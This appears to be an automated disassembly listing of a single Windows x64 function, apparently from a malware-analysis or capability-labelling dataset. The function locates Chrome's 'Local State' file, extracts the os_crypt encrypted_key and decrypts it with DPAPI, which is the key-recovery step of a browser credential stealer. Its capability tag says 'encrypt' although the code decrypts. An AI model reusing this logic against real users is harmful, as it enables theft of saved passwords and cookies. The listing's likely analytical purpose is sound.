Function at 0x140069019
Capabilities:
Encrypt data using dpapi

Disassembly:
jmp 0x1400f2b10
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x798
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x146
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7b8]
mov rax, qword [0x14017f080]
xor rax, rbp
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x704], 0
lea rcx, [0x14019515a]
call fcn.14006c840
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea r8, str.LOCALAPPDATA
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll__dupenv_s]
test eax, eax
jne 0x1400f2f5f
cmp qword [rbp + 8], 0
je 0x1400f2f5f
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x548]
call fcn.14006a90a
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x720], rax
lea r8, str.GoogleChromeUser_DataLocal_State
mov rdx, qword [rbp + 0x720]
lea rcx, [rbp + 0x48]
call fcn.14006c309
nop
lea rcx, [rbp + 0x548]
call fcn.140069a32
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov edx, 0x110
lea rcx, [rbp + 0x90]
call fcn.14006b5f3
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x90]
call fcn.14006badf
nop
lea rcx, [rbp + 0x90]
call fcn.140069172
movzx eax, al
test eax, eax
jne 0x1400f2c78
mov rcx, qword [rbp + 0x770]
call fcn.14006b607
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
lea rcx, [rbp + 0x90]
call fcn.1400698ac
nop
lea rcx, [rbp + 0x48]
call fcn.140069a32
nop
mov rax, qword [rbp + 0x770]
jmp 0x1400f2f81
xor edx, edx
lea rcx, [rbp + 0x1b8]
call fcn.14006a34c
nop
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x90]
call fcn.14006a379
nop
lea rcx, [rbp + 0x90]
call fcn.14006af31
nop
lea rdx, str.os_crypt
lea rcx, [rbp + 0x1b8]
call fcn.14006955a
lea rdx, str.encrypted_key
mov rcx, rax
call fcn.14006955a
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call fcn.14006908c
nop
mov edx, 0x20
lea rcx, [rbp + 0x228]
call fcn.1400692e4
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x228]
call fcn.14006a676
nop
lea rax, [rbp + 0x588]
mov qword [rbp + 0x5b8], rax
lea rax, [rbp + 0x638]
mov qword [rbp + 0x668], rax
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0x228]
call fcn.14006c354
mov qword [rbp + 0x718], rax
mov r8d, 5
lea rdx, [rbp + 0x608]
mov rcx, qword [rbp + 0x718]
call fcn.14006920d
mov qword [rbp + 0x720], rax
mov rdx, qword [rbp + 0x720]
mov rcx, qword [rbp + 0x5b8]
call fcn.14006a905
mov qword [rbp + 0x728], rax
lea rdx, [rbp + 0x688]
lea rcx, [rbp + 0x228]
call fcn.14006c354
mov qword [rbp + 0x730], rax
mov rdx, qword [rbp + 0x730]
mov rcx, qword [rbp + 0x668]
call fcn.14006a905
mov qword [rbp + 0x738], rax
mov r9, qword [rbp + 0x728]
mov r8, qword [rbp + 0x738]
lea rdx, [rbp + 0x6b8]
lea rcx, [rbp + 0x228]
call fcn.14006affe
lea rcx, [rbp + 0x6b8]
call fcn.14006bcdd
lea rcx, [rbp + 0x688]
call fcn.14006bcdd
lea rcx, [rbp + 0x608]
call fcn.14006bcdd
lea rcx, [rbp + 0x5d8]
call fcn.14006bcdd
nop
lea rcx, [rbp + 0x228]
call fcn.14006cd27
mov qword [rbp + 0x270], rax
lea rcx, [rbp + 0x228]
call fcn.14006a766
mov dword [rbp + 0x268], eax
lea rax, [rbp + 0x298]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x268]
call fcn.14006c412
test eax, eax
je 0x1400f2f21
mov edx, 0x20
lea rcx, [rbp + 0x2c8]
call fcn.1400692e4
lea rcx, [rbp + 0x6e4]
call fcn.14006aa13
mov ecx, dword [rbp + 0x298]
mov rdx, qword [rbp + 0x2a0]
add rdx, rcx
mov rcx, rdx
mov r9, rax
mov r8, rcx
mov rdx, qword [rbp + 0x2a0]
lea rcx, [rbp + 0x2c8]
call fcn.14006cd5e
nop
mov rcx, qword [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
lea rdx, [rbp + 0x2c8]
mov rcx, qword [rbp + 0x770]
call fcn.14006c0cf
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
lea rcx, [rbp + 0x2c8]
call fcn.14006a0ea
nop
lea rcx, [rbp + 0x228]
call fcn.14006a0ea
nop
lea rcx, [rbp + 0x1e8]
call fcn.140069a32
nop
lea rcx, [rbp + 0x1b8]
call fcn.14006b5c1
nop
lea rcx, [rbp + 0x90]
call fcn.1400698ac
nop
lea rcx, [rbp + 0x48]
call fcn.140069a32
nop
mov rax, qword [rbp + 0x770]
jmp 0x1400f2f81
lea rcx, [rbp + 0x228]
call fcn.14006a0ea
nop
lea rcx, [rbp + 0x1e8]
call fcn.140069a32
nop
lea rcx, [rbp + 0x1b8]
call fcn.14006b5c1
nop
lea rcx, [rbp + 0x90]
call fcn.1400698ac
nop
lea rcx, [rbp + 0x48]
call fcn.140069a32
nop
mov rcx, qword [rbp + 0x770]
call fcn.14006b607
mov eax, dword [rbp + 0x704]
or eax, 1
mov dword [rbp + 0x704], eax
mov rax, qword [rbp + 0x770]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14014dab0]
call fcn.14006be22
mov rax, rdi
mov rcx, qword [rbp + 0x740]
xor rcx, rbp
call fcn.14006aaf9
lea rsp, [rbp + 0x758]
pop rdi
pop rbp
ret